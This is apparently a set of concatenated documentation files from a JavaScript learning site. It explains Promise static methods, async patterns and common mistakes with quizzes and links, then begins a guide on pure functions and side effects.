`Promise` class has several static methods for creating and combining Promises. These are super useful in practice. ### Promise.resolve() and Promise.reject() The simplest static methods. They create already-settled Promises: ```javascript // Create a fulfilled Promise const fulfilled = Promise.resolve('success') fulfilled.then(value => console.log(value)) // "success" // Create a rejected Promise const rejected = Promise.reject(new Error('failure')) rejected.catch(error => console.log(error.message)) // "failure" ``` **When are these useful?** - Converting a regular value to a Promise for consistency - Starting a Promise chain - Testing Promise-based code ```javascript // Useful for normalizing values to Promises function fetchData(cached) { if (cached) { return Promise.resolve(cached) // Return cached data as Promise } return fetch('/api/data').then(r => r.json()) // Fetch fresh data } // Both code paths return Promises, so callers can use .then() consistently fetchData(cachedData).then(data => render(data)) ``` ### Promise.all() — Wait for All **[`Promise.all()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)** takes an iterable of Promises and returns a single Promise that: - **Fulfills** when ALL input Promises fulfill (with an array of values) - **Rejects** when ANY input Promise rejects (with that error, immediately) ```javascript const promise1 = Promise.resolve(1) const promise2 = Promise.resolve(2) const promise3 = Promise.resolve(3) Promise.all([promise1, promise2, promise3]) .then(values => { console.log(values) // [1, 2, 3] }) ``` **Real example: loading a dashboard** ```javascript async function loadDashboard(userId) { // All three requests start simultaneously! const [user, posts, notifications] = await Promise.all([ fetchUser(userId), fetchPosts(userId), fetchNotifications(userId) ]) return { user, posts, notifications } } ``` **The short-circuit behavior:** ```javascript Promise.all([ Promise.resolve('A'), Promise.reject(new Error('B failed!')), // This rejects! Promise.resolve('C') ]) .then(values => { console.log('Success:', values) // Never runs }) .catch(error => { console.log('Failed:', error.message) // "Failed: B failed!" // We don't get 'A' or 'C' — the whole thing fails }) ``` <Tip> **Use `Promise.all()` when:** - You need ALL results to proceed - Any single failure should abort the whole operation - You want to run Promises in parallel and wait for all **Note:** `Promise.all([])` with an empty array resolves immediately with `[]`. Also, non-Promise values in the array are automatically wrapped with `Promise.resolve()`. </Tip> ### Promise.allSettled() — Wait for All (No Short-Circuit) **[`Promise.allSettled()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled)** waits for ALL Promises to settle, regardless of whether they fulfill or reject. It never rejects: ```javascript Promise.allSettled([ Promise.resolve('A'), Promise.reject(new Error('B failed!')), Promise.resolve('C') ]) .then(results => { console.log(results) // [ // { status: 'fulfilled', value: 'A' }, // { status: 'rejected', reason: Error: B failed! }, // { status: 'fulfilled', value: 'C' } // ] }) ``` **Real example: sending notifications to multiple users** ```javascript async function sendNotificationsToAll(userIds, message) { const results = await Promise.allSettled( userIds.map(id => sendNotification(id, message)) ) const succeeded = results.filter(r => r.status === 'fulfilled') const failed = results.filter(r => r.status === 'rejected') console.log(`Sent: ${succeeded.length}, Failed: ${failed.length}`) // Log failures for debugging failed.forEach(f => console.error('Failed:', f.reason)) return { succeeded: succeeded.length, failed: failed.length } } ``` <Tip> **Use `Promise.allSettled()` when:** - You want to attempt ALL operations regardless of individual failures - You need to know which succeeded and which failed - Partial success is acceptable </Tip> ### Promise.race() — First to Settle Wins **[`Promise.race()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/race)** returns a Promise that settles as soon as ANY input Promise settles (fulfilled or rejected): ```javascript const slow = new Promise(resolve => setTimeout(() => resolve('slow'), 200)) const fast = new Promise(resolve => setTimeout(() => resolve('fast'), 100)) Promise.race([slow, fast]) .then(winner => console.log(winner)) // "fast" ``` **Real example: adding a timeout** ```javascript function fetchWithTimeout(url, timeout = 5000) { const fetchPromise = fetch(url) const timeoutPromise = new Promise((_, reject) => { setTimeout(() => { reject(new Error(`Request timed out after ${timeout}ms`)) }, timeout) }) return Promise.race([fetchPromise, timeoutPromise]) } // Usage fetchWithTimeout('https://api.example.com/data', 3000) .then(response => response.json()) .catch(error => { console.error(error.message) // "Request timed out after 3000ms" }) ``` <Warning> **Watch out:** `Promise.race()` settles on the first Promise to settle, whether it fulfills OR rejects. If the fastest Promise rejects, the race rejects: ```javascript Promise.race([ new Promise((_, reject) => setTimeout(() => reject(new Error('Fast failure')), 50)), new Promise(resolve => setTimeout(() => resolve('Slow success'), 100)) ]) .catch(error => console.log(error.message)) // "Fast failure" ``` **Edge case:** `Promise.race([])` with an empty array returns a Promise that **never settles** (stays pending forever). This is rarely useful and usually indicates a bug. </Warning> ### Promise.any() — First to Fulfill Wins **[`Promise.any()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/any)** returns a Promise that fulfills as soon as ANY input Promise fulfills. It ignores rejections unless ALL Promises reject: ```javascript Promise.any([ Promise.reject(new Error('Error 1')), Promise.resolve('Success!'), Promise.reject(new Error('Error 2')) ]) .then(value => console.log(value)) // "Success!" ``` **If ALL Promises reject, you get an AggregateError:** ```javascript Promise.any([ Promise.reject(new Error('Error 1')), Promise.reject(new Error('Error 2')), Promise.reject(new Error('Error 3')) ]) .catch(error => { console.log(error.name) // "AggregateError" console.log(error.errors) // [Error: Error 1, Error: Error 2, Error: Error 3] }) ``` **Real example: trying multiple CDN mirrors** ```javascript async function fetchFromFastestMirror(mirrors) { try { // Returns data from whichever mirror responds first const data = await Promise.any( mirrors.map(mirror => fetch(mirror).then(r => r.json())) ) return data } catch (error) { // All mirrors failed throw new Error('All mirrors failed: ' + error.errors.map(e => e.message).join(', ')) } } const mirrors = [ 'https://mirror1.example.com/data', 'https://mirror2.example.com/data', 'https://mirror3.example.com/data' ] fetchFromFastestMirror(mirrors) .then(data => console.log('Got data:', data)) .catch(error => console.error(error.message)) ``` <Tip> **Use `Promise.any()` when:** - You only need one successful result - You have multiple sources/fallbacks and want the first success - Rejections should be ignored unless everything fails **Edge case:** `Promise.any([])` with an empty array immediately rejects with an `AggregateError` (since there are no Promises that could fulfill). </Tip> ### Comparison Table | Method | Fulfills when... | Rejects when... | Empty array `[]` | Use case | |--------|-----------------|-----------------|------------------|----------| | `Promise.all()` | ALL fulfill | ANY rejects | Fulfills with `[]` | Need all results, fail-fast | | `Promise.allSettled()` | ALL settle | Never | Fulfills with `[]` | Need all results, tolerate failures | | `Promise.race()` | First to settle fulfills | First to settle rejects | Never settles | Timeout, fastest response | | `Promise.any()` | ANY fulfills | ALL reject | Rejects (AggregateError) | First success, ignore failures | ### Promise.withResolvers() **[`Promise.withResolvers()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers)** (ES2024) returns an object containing a new Promise and the functions to resolve/reject it. This is useful when you need to resolve a Promise from outside its executor: ```javascript const { promise, resolve, reject } = Promise.withResolvers() // Resolve it later from anywhere setTimeout(() => resolve('Done!'), 1000) promise.then(value => console.log(value)) // "Done!" (after 1 second) ``` **Before `withResolvers()`, you had to do this:** ```javascript let resolve, reject const promise = new Promise((res, rej) => { resolve = res reject = rej }) // Now resolve/reject are available outside ``` ### Promise.try() **[`Promise.try()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/try)** (Baseline 2025) takes a callback of any kind and wraps its result in a Promise. This is useful when you have a function that might be synchronous or asynchronous and you want to handle both cases uniformly: ```javascript // The problem: func() might throw synchronously OR return a Promise // This doesn't catch synchronous errors: Promise.resolve(func()).catch(handleError) // Sync throw escapes! // This works but is verbose: new Promise((resolve) => resolve(func())) // Promise.try() is cleaner: Promise.try(func) ``` **Real example: handling callbacks that might be sync or async** ```javascript function processData(callback) { return Promise.try(callback) .then(result => console.log('Result:', result)) .catch(error => console.error('Error:', error)) .finally(() => console.log('Done')) } // Works with sync functions processData(() => 'sync result') // Works with async functions processData(async () => 'async result') // Catches sync throws processData(() => { throw new Error('sync error') }) // Catches async rejections processData(async () => { throw new Error('async error') }) ``` You can also pass arguments to the callback: ```javascript // Instead of creating a closure: Promise.try(() => fetchUser(userId)) // You can pass arguments directly: Promise.try(fetchUser, userId) ``` <Note> `Promise.try()` calls the function **synchronously** (like the Promise constructor executor), unlike `.then()` which always runs callbacks asynchronously. If possible, it resolves the promise immediately. </Note> --- ## Common Patterns ### Sequential Execution When you need to run things one at a time (not in parallel). Use this when each step depends on the previous result, like database transactions or when processing order matters (uploading files in a specific sequence). ```javascript // Process items one at a time async function processSequentially(items) { const results = [] for (const item of items) { const result = await processItem(item) // Wait for each results.push(result) } return results } // Or with reduce (pure Promises, no async/await): function processSequentiallyWithReduce(items) { return items.reduce((chain, item) => { return chain.then(results => { return processItem(item).then(result => { return [...results, result] }) }) }, Promise.resolve([])) } ``` ### Parallel Execution When operations don't depend on each other. Great for independent fetches like loading a dashboard where you need user data, notifications, and settings all at once. Much faster than doing them one by one. ```javascript // Process all items in parallel async function processInParallel(items) { const promises = items.map(item => processItem(item)) return Promise.all(promises) } // Example: Fetch multiple URLs at once try { const urls = ['/api/users', '/api/posts', '/api/comments'] const responses = await Promise.all(urls.map(url => fetch(url))) const data = await Promise.all(responses.map(r => r.json())) } catch (error) { console.error('One of the requests failed:', error) } ``` ### Parallel with Limit (Batching) When you want parallelism but don't want to hammer a server with 100 requests at once. Essential for API rate limits (e.g., "max 10 requests/second") or when processing large datasets without exhausting memory or connections. ```javascript async function processInBatches(items, batchSize = 3) { const results = [] for (let i = 0; i < items.length; i += batchSize) { const batch = items.slice(i, i + batchSize) const batchResults = await Promise.all( batch.map(item => processItem(item)) ) results.push(...batchResults) } return results } // Process 10 items, 3 at a time const items = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] const results = await processInBatches(items, 3) // Batch 1: [1, 2, 3] (parallel) // Batch 2: [4, 5, 6] (parallel, after batch 1) // Batch 3: [7, 8, 9] (parallel, after batch 2) // Batch 4: [10] (after batch 3) ``` ### Retry Pattern Automatically retry when things fail. Perfect for flaky network connections, unreliable third-party APIs, or temporary server issues. For production, consider adding exponential backoff (doubling the delay each attempt). ```javascript async function retry(fn, maxAttempts = 3, delay = 1000) { let lastError for (let attempt = 1; attempt <= maxAttempts; attempt++) { try { return await fn() } catch (error) { lastError = error console.log(`Attempt ${attempt} failed: ${error.message}`) if (attempt < maxAttempts) { await new Promise(resolve => setTimeout(resolve, delay)) } } } throw lastError } // Usage const data = await retry( () => fetch('/api/flaky-endpoint').then(r => r.json()), 3, // max attempts 1000 // delay between attempts ) ``` ### Converting Callbacks to Promises (Promisification) A helper to convert old callback-style functions to Promises. Useful when working with older Node.js APIs or third-party libraries that still use callbacks but you want clean async/await syntax. ```javascript function promisify(fn) { return function(...args) { return new Promise((resolve, reject) => { fn(...args, (error, result) => { if (error) { reject(error) } else { resolve(result) } }) }) } } // Usage example (Node.js - fs uses callbacks) const readFile = promisify(fs.readFile) const data = await readFile('file.txt', 'utf8') ``` <Note> Node.js has this built-in: `const { promisify } = require('util')` </Note> --- ## Common Mistakes ### Mistake 1: Forgetting to Return The #1 Promise mistake is forgetting to return from `.then()`: ```javascript // ❌ WRONG - Promise not returned, chain breaks fetchUser(1) .then(user => { fetchPosts(user.id) // This Promise floats away! }) .then(posts => { console.log(posts) // undefined! }) // ✓ CORRECT - Return the Promise fetchUser(1) .then(user => { return fetchPosts(user.id) }) .then(posts => { console.log(posts) // Array of posts }) // ✓ EVEN BETTER - Arrow function implicit return fetchUser(1) .then(user => fetchPosts(user.id)) .then(posts => console.log(posts)) ``` ### Mistake 2: Nesting Instead of Chaining Don't accidentally recreate callback hell with Promises: ```javascript // ❌ WRONG - Promise hell (nesting) fetchUser(1).then(user => { fetchPosts(user.id).then(posts => { fetchComments(posts[0].id).then(comments => { console.log(comments) }) }) }) // ✓ CORRECT - Flat chain fetchUser(1) .then(user => fetchPosts(user.id)) .then(posts => fetchComments(posts[0].id)) .then(comments => console.log(comments)) ``` ### Mistake 3: The Promise Constructor Anti-Pattern Don't wrap existing Promises in `new Promise()`: ```javascript // ❌ WRONG - Unnecessary Promise wrapper function getUser(id) { return new Promise((resolve, reject) => { fetch(`/api/users/${id}`) .then(response => response.json()) .then(user => resolve(user)) .catch(error => reject(error)) }) } // ✓ CORRECT - Just return the Promise! function getUser(id) { return fetch(`/api/users/${id}`) .then(response => response.json()) } ``` <Warning> **The Promise constructor anti-pattern** is when you wrap something that's already a Promise. You're just adding complexity for no reason. Only use `new Promise()` when you're wrapping callback-based APIs. </Warning> ### Mistake 4: Forgetting Error Handling ```javascript // ❌ WRONG - No error handling fetchData() .then(data => processData(data)) .then(result => saveResult(result)) // If anything fails, you get an unhandled rejection! // ✓ CORRECT - Always have a .catch() fetchData() .then(data => processData(data)) .then(result => saveResult(result)) .catch(error => { console.error('Operation failed:', error) // Handle the error appropriately }) ``` ### Mistake 5: Using forEach with Async Operations ```javascript // ❌ WRONG - forEach doesn't wait for Promises async function processAll(items) { items.forEach(async item => { await processItem(item) // These run in parallel, not sequentially! }) console.log('Done!') // Logs immediately, before processing completes } // ✓ CORRECT - Use for...of for sequential async function processAllSequential(items) { for (const item of items) { await processItem(item) } console.log('Done!') // Logs after all items processed } // ✓ CORRECT - Use Promise.all for parallel async function processAllParallel(items) { await Promise.all(items.map(item => processItem(item))) console.log('Done!') // Logs after all items processed } ``` ### Mistake 6: Microtask Timing Gotcha ```javascript console.log('1') Promise.resolve().then(() => console.log('2')) console.log('3') // Output: 1, 3, 2 (NOT 1, 2, 3!) ``` Promise callbacks are scheduled as **microtasks**, which run after the current synchronous code but before the next macrotask. See the [Event Loop guide](/concepts/event-loop) for details. --- ## Key Takeaways <Info> **The key things to remember:** 1. **A Promise is a placeholder** — It represents a value that will show up later (or an error if something goes wrong). 2. **Three states, one transition** — Promises go from `pending` to either `fulfilled` or `rejected`, and never change after that. 3. **`.then()` returns a NEW Promise** — This is what enables chaining. The value you return becomes the next Promise's value. 4. **Always return from `.then()`** — Forgetting to return is the #1 Promise mistake. Use arrow functions for implicit returns. 5. **Errors propagate down the chain** — A rejection skips all `.then()` handlers until it hits a `.catch()`. 6. **Always handle rejections** — Use `.catch()` at the end of chains. Unhandled rejections are bugs. 7. **`Promise.all()` for parallel + fail-fast** — Runs Promises in parallel, fails immediately if any rejects. 8. **`Promise.allSettled()` for partial success** — Waits for all to settle, gives you results for each. 9. **`Promise.race()` for timeouts** — First to settle wins (fulfill OR reject). 10. **`Promise.any()` for first success** — First to fulfill wins, ignores rejections unless all fail. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What are the three states of a Promise?"> **Answer:** 1. **Pending** — Initial state, the async operation is still in progress 2. **Fulfilled** — The operation completed successfully, the Promise has a value 3. **Rejected** — The operation failed, the Promise has a reason (error) Once a Promise is fulfilled or rejected (we call this "settled"), its state is locked in forever. </Accordion> <Accordion title="Question 2: What does .then() return?"> **Answer:** `.then()` always returns a **new Promise**. The value returned from the `.then()` callback becomes the fulfillment value of this new Promise. ```javascript const p1 = Promise.resolve(1) const p2 = p1.then(x => x + 1) console.log(p1 === p2) // false - different Promises! p2.then(x => console.log(x)) // 2 ``` If you return a Promise from the callback, the new Promise "adopts" its state. </Accordion> <Accordion title="Question 3: What's the difference between Promise.all() and Promise.allSettled()?"> **Answer:** | `Promise.all()` | `Promise.allSettled()` | |-----------------|------------------------| | Rejects immediately if ANY Promise rejects | Never rejects, waits for ALL to settle | | Returns array of values on success | Returns array of `{status, value/reason}` objects | | Use when all must succeed | Use when you want results regardless of failures | ```javascript // Promise.all - fails fast Promise.all([Promise.resolve(1), Promise.reject('error')]) .catch(e => console.log(e)) // "error" // Promise.allSettled - gets all results Promise.allSettled([Promise.resolve(1), Promise.reject('error')]) .then(results => console.log(results)) // [{status:'fulfilled',value:1}, {status:'rejected',reason:'error'}] ``` </Accordion> <Accordion title="Question 4: What happens if you resolve a Promise with another Promise?"> **Answer:** The outer Promise "adopts" the state of the inner Promise. This is called Promise unwrapping or assimilation: ```javascript const inner = new Promise(resolve => { setTimeout(() => resolve('inner value'), 1000) }) const outer = Promise.resolve(inner) // outer is now "locked in" to follow inner // It won't fulfill until inner fulfills outer.then(value => console.log(value)) // "inner value" (after 1 second) ``` This happens automatically. You can't have a Promise that fulfills with another Promise as its value. </Accordion> <Accordion title="Question 5: What's wrong with this code?"> ```javascript function getData() { return new Promise((resolve, reject) => { fetch('/api/data') .then(response => response.json()) .then(data => resolve(data)) .catch(error => reject(error)) }) } ``` **Answer:** This is the **Promise constructor anti-pattern**. You're wrapping a Promise (`fetch`) inside `new Promise()` unnecessarily. Just return the Promise directly: ```javascript function getData() { return fetch('/api/data') .then(response => response.json()) } ``` The original code: - Adds unnecessary complexity - Could lose stack trace information - Might swallow errors if you forget the `.catch()` Only use `new Promise()` when wrapping callback-based APIs. </Accordion> <Accordion title="Question 6: What's the output order?"> ```javascript console.log('A') Promise.resolve().then(() => console.log('B')) Promise.resolve().then(() => { console.log('C') Promise.resolve().then(() => console.log('D')) }) console.log('E') ``` **Answer:** `A`, `E`, `B`, `C`, `D` **Explanation:** 1. `'A'` — Synchronous, runs first 2. First `.then()` callback queued as microtask 3. Second `.then()` callback queued as microtask 4. `'E'` — Synchronous, runs next 5. Synchronous code done → process microtask queue 6. `'B'` — First microtask runs 7. `'C'` — Second microtask runs, queues another microtask 8. `'D'` — Third microtask runs (microtask queue is drained before any macrotask) Promise callbacks always run as microtasks, after the current synchronous code but before macrotasks like `setTimeout`. See [Event Loop](/concepts/event-loop) for more. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a Promise in JavaScript?"> A Promise is an object that represents the eventual completion or failure of an asynchronous operation. As defined in the ECMAScript specification, a Promise is in one of three states: pending, fulfilled, or rejected. Once settled (fulfilled or rejected), a Promise's state and value are immutable — it cannot change again. </Accordion> <Accordion title="What are the three states of a Promise?"> Pending means the async operation has not completed yet. Fulfilled means it completed successfully with a result value. Rejected means it failed with a reason (usually an Error). A Promise transitions from pending to either fulfilled or rejected, never both and never more than once. This guarantee makes Promises more predictable than callbacks. </Accordion> <Accordion title="What is the difference between Promise.all and Promise.allSettled?"> `Promise.all` resolves when all Promises fulfill and rejects immediately if any single Promise rejects. `Promise.allSettled` (added in ES2020) waits for all Promises to settle regardless of outcome and returns an array of result objects with `status` and `value` or `reason`. Use `allSettled` when you need results from every operation even if some fail. </Accordion> <Accordion title="How do you handle errors in Promise chains?"> Attach a `.catch()` at the end of the chain to handle any rejection from any preceding `.then()`. Errors propagate down the chain until caught. You can also use `.then(onFulfilled, onRejected)`, but a single `.catch()` at the end is the recommended pattern. Always handle rejections — unhandled rejections are logged as warnings in modern runtimes. </Accordion> <Accordion title="What is Promise chaining and why is it useful?"> Promise chaining means calling `.then()` on the Promise returned by a previous `.then()`. Each `.then()` receives the return value of the previous one, creating a flat, readable sequence of async steps. According to MDN, this was the key innovation that solved callback hell by replacing nested callbacks with a linear chain of operations. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> The predecessor to Promises — understand what Promises improve upon </Card> <Card title="async/await" icon="hourglass" href="/concepts/async-await"> Modern syntax built on top of Promises — makes async code look synchronous </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How Promise callbacks are scheduled via the microtask queue </Card> <Card title="Fetch API" icon="globe" href="/concepts/http-fetch"> The most common Promise-based API — making HTTP requests </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Promise — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise"> Complete reference for the Promise object and all its methods </Card> <Card title="Using Promises — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises"> MDN guide covering Promise fundamentals and patterns </Card> <Card title="Promise.all() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all"> Documentation for Promise.all() with examples </Card> <Card title="Promise.allSettled() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled"> Documentation for Promise.allSettled() with examples </Card> <Card title="Promise.try() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/try"> Documentation for Promise.try() (Baseline 2025) </Card> <Card title="Promise.withResolvers() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers"> Documentation for Promise.withResolvers() (ES2024) </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Promises: An Introduction" icon="newspaper" href="https://web.dev/promises/"> Google's web.dev tutorial with inline runnable code examples you can edit. Covers the full Promise API from basics to advanced patterns like promisification. </Card> <Card title="JavaScript Visualized: Promises & Async/Await" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke"> Lydia Hallie's visual explanation with animated GIFs showing exactly how Promises work. </Card> <Card title="Promise Basics — JavaScript.info" icon="newspaper" href="https://javascript.info/promise-basics"> The go-to reference for Promise fundamentals with the "loadScript" example that makes async patterns click. Includes exercises at the end to test your understanding. </Card> <Card title="Promise Chaining — JavaScript.info" icon="newspaper" href="https://javascript.info/promise-chaining"> Excellent diagrams showing how values flow through Promise chains. The "returning promises" section clarifies the trickiest part of chaining. </Card> <Card title="We Have a Problem with Promises" icon="newspaper" href="https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html"> Nolan Lawson's classic article on common Promise mistakes developers make. </Card> <Card title="The Complete JavaScript Promise Guide" icon="newspaper" href="https://blog.webdevsimplified.com/2021-09/javascript-promises"> Kyle Cook's written companion to his popular YouTube videos. Great if you prefer reading to watching, with the same clear teaching style. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Promises In 10 Minutes" icon="video" href="https://www.youtube.com/watch?v=DHvZLI7Db8E"> Perfect if you're short on time. Kyle covers creating, consuming, and chaining Promises with real code examples in just 10 minutes. </Card> <Card title="Promises — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=2d7s3spWAzo"> MPJ's entertaining and thorough explanation of Promises with great analogies. </Card> <Card title="JavaScript Promise in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=RvYYCGs45L4"> Fireship's ultra-concise overview of Promise fundamentals. </Card> <Card title="Promises | Namaste JavaScript" icon="video" href="https://youtu.be/ap-6PPAuK1Y"> Akshay walks through Promise internals with browser DevTools, showing exactly what happens at each step. Great for understanding the "why" behind Promises. </Card> </CardGroup> ================================================ FILE: docs/concepts/pure-functions.mdx ================================================ --- title: "Pure Functions" sidebarTitle: "Pure Functions: Writing Predictable Code" description: "Learn pure functions in JavaScript. Understand the two rules of purity, avoid side effects, and write testable, predictable code with immutable patterns." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functional Programming" "article:tag": "pure functions, side effects, immutability, functional programming, predictable code" --- Why does the same function sometimes give you different results? Why is some code easy to test while other code requires elaborate setup and mocking? Why do bugs seem to appear "randomly" when your logic looks correct? The answer often comes down to **pure functions**. They're at the heart of functional programming, and understanding them will change how you write JavaScript. ```javascript // A pure function: same input always gives same output function add(a, b) { return a + b } add(2, 3) // 5 add(2, 3) // 5, always 5, no matter when or where you call it ``` A pure function is simple, predictable, and trustworthy. Once you understand why, you'll start seeing opportunities to write cleaner code everywhere. <Info> **What you'll learn in this guide:** - The two rules that make a function "pure" - What side effects are and how they create bugs - How to identify pure vs impure functions - Practical patterns for avoiding mutations - When pure functions aren't possible (and what to do instead) - Why purity makes testing and debugging much easier </Info> <Warning> **Helpful background:** This guide references object and array mutations frequently. If you're not comfortable with how JavaScript handles [primitives vs objects](/concepts/primitives-objects), read that guide first. It explains why `const arr = [1,2,3]; arr.push(4)` works but shouldn't surprise you. </Warning> --- ## What is a Pure Function? A **pure function** is a function that follows two simple rules: 1. **Same input → Same output**: Given the same arguments, it always returns the same result 2. **No side effects**: It doesn't change anything outside itself That's it. If a function follows both rules, it's pure. If it breaks either rule, it's impure. This concept comes directly from mathematics, where functions are defined as deterministic mappings from inputs to outputs. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), functional programming concepts like pure functions and immutability continue to grow in adoption across the JavaScript ecosystem. ```javascript // ✓ PURE: Follows both rules function double(x) { return x * 2 } double(5) // 10 double(5) // 10, always 10 ``` Using [`Math.random()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random) breaks purity because it introduces randomness. As [MDN explains](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random), `Math.random()` returns a pseudo-random number, meaning it depends on internal engine state rather than your function's arguments: ```javascript // ❌ IMPURE: Breaks rule 1 (different output for same input) function randomDouble(x) { return x * Math.random() } randomDouble(5) // 2.3456... randomDouble(5) // 4.1234... different every time! ``` ```javascript // ❌ IMPURE: Breaks rule 2 (has a side effect) let total = 0 function addToTotal(x) { total += x // Modifies external variable! return total } addToTotal(5) // 5 addToTotal(5) // 10. Different result because total changed! ``` <CardGroup cols={2}> <Card title="Functions — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions"> MDN guide covering JavaScript function fundamentals </Card> <Card title="Functional Programming — Wikipedia" icon="book" href="https://en.wikipedia.org/wiki/Pure_function"> Formal definition of pure functions in computer science </Card> </CardGroup> --- ## The Kitchen Recipe Analogy Think of a pure function like a recipe. If you give a recipe the same ingredients, you get the same dish every time. The recipe doesn't care what time it is, what else is in your kitchen, or what you cooked yesterday. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PURE VS IMPURE FUNCTIONS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ PURE FUNCTION (Like a Recipe) │ │ ───────────────────────────── │ │ │ │ Ingredients Recipe Dish │ │ ┌───────────┐ ┌─────────┐ ┌───────┐ │ │ │ 2 eggs │ │ │ │ │ │ │ │ flour │ ────► │ mix & │ ────► │ cake │ │ │ │ sugar │ │ bake │ │ │ │ │ └───────────┘ └─────────┘ └───────┘ │ │ │ │ ✓ Same ingredients = Same cake, every time │ │ ✓ Doesn't rearrange your kitchen │ │ ✓ Doesn't depend on the weather │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ IMPURE FUNCTION (Unpredictable Chef) │ │ ──────────────────────────────────── │ │ │ │ ┌───────────┐ ┌─────────┐ ┌───────┐ │ │ │ 2 eggs │ │ checks │ │ ??? │ │ │ │ flour │ ────► │ clock, │ ────► │ │ │ │ │ sugar │ │ mood... │ │ │ │ │ └───────────┘ └─────────┘ └───────┘ │ │ │ │ ✗ Same ingredients might give different results │ │ ✗ Might rearrange your whole kitchen while cooking │ │ ✗ Depends on external factors you can't control │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` A pure function is like a recipe: predictable, self-contained, and trustworthy. An impure function is like a chef who checks the weather, changes the recipe based on mood, and rearranges your kitchen while cooking. --- ## Rule 1: Same Input → Same Output This rule is also called **referential transparency**. It means you could replace a function call with its result and the program would work exactly the same. This property is fundamental to functional programming and is what enables tools like React's `useMemo` to safely cache function results — as the [React documentation](https://react.dev/reference/react/useMemo) notes, memoization relies on functions being pure. [`Math.max()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max) is a great example of a pure function: ```javascript // ✓ PURE: Math.max always returns the same result for the same inputs Math.max(2, 8, 5) // 8 Math.max(2, 8, 5) // 8, always 8 // You could replace Math.max(2, 8, 5) with 8 anywhere in your code // and nothing would change. That's referential transparency. ``` ### What Breaks This Rule? Anything that makes the output depend on something other than the inputs: <Tabs> <Tab title="Random Values"> ```javascript // ❌ IMPURE: Output depends on randomness function getRandomDiscount(price) { return price * Math.random() } getRandomDiscount(100) // 47.23... getRandomDiscount(100) // 82.91... different! ``` </Tab> <Tab title="Current Time"> Using [`new Date()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) makes functions impure because the output depends on when you call them: ```javascript // ❌ IMPURE: Output depends on when you call it function getGreeting(name) { const hour = new Date().getHours() if (hour < 12) return `Good morning, ${name}` return `Good afternoon, ${name}` } // Same input, different output depending on time of day ``` </Tab> <Tab title="External State"> ```javascript // ❌ IMPURE: Output depends on external variable let taxRate = 0.08 function calculateTotal(price) { return price + (price * taxRate) } calculateTotal(100) // 108 taxRate = 0.10 calculateTotal(100) // 110. Different! ``` </Tab> </Tabs> ### How to Fix It Pass everything the function needs as arguments: ```javascript // ✓ PURE: Tax rate is now an input, not external state function calculateTotal(price, taxRate) { return price + (price * taxRate) } calculateTotal(100, 0.08) // 108 calculateTotal(100, 0.08) // 108, always the same calculateTotal(100, 0.10) // 110 — different input, different output (that's fine!) ``` <Tip> **Quick test for Rule 1:** Can you predict the output just by looking at the inputs? If you need to know the current time, check a global variable, or run it to find out, it's probably not pure. </Tip> --- ## Rule 2: No Side Effects A **side effect** is anything a function does besides computing and returning a value. Side effects are actions that affect the world outside the function. ### Common Side Effects | Side Effect | Example | Why It's a Problem | |-------------|---------|-------------------| | **Mutating input** | `array.push(item)` | Changes data the caller might still be using | | **Modifying external variables** | `counter++` | Creates hidden dependencies | | **Console output** | `console.log()` | Does something besides returning a value | | **DOM manipulation** | `element.innerHTML = '...'` | Changes the page state | | **HTTP requests** | `fetch('/api/data')` | Communicates with external systems | | **Writing to storage** | `localStorage.setItem()` | Persists data outside the function | | **Throwing exceptions** | `throw new Error()` | Breaks normal control flow (debated) | ```javascript // ❌ IMPURE: Multiple side effects function processUser(user) { user.lastLogin = new Date() // Side effect: mutates input console.log(`User ${user.name}`) // Side effect: console output userCount++ // Side effect: modifies external variable return user } // ✓ PURE: Returns new data, no side effects function processUser(user, loginTime) { return { ...user, lastLogin: loginTime } } ``` <Note> **Is `console.log()` really that bad?** Technically, yes. It's a side effect. But practically? It's fine for debugging. The key is understanding that it makes your function impure. Don't let `console.log` statements slip into production code that should be pure. </Note> 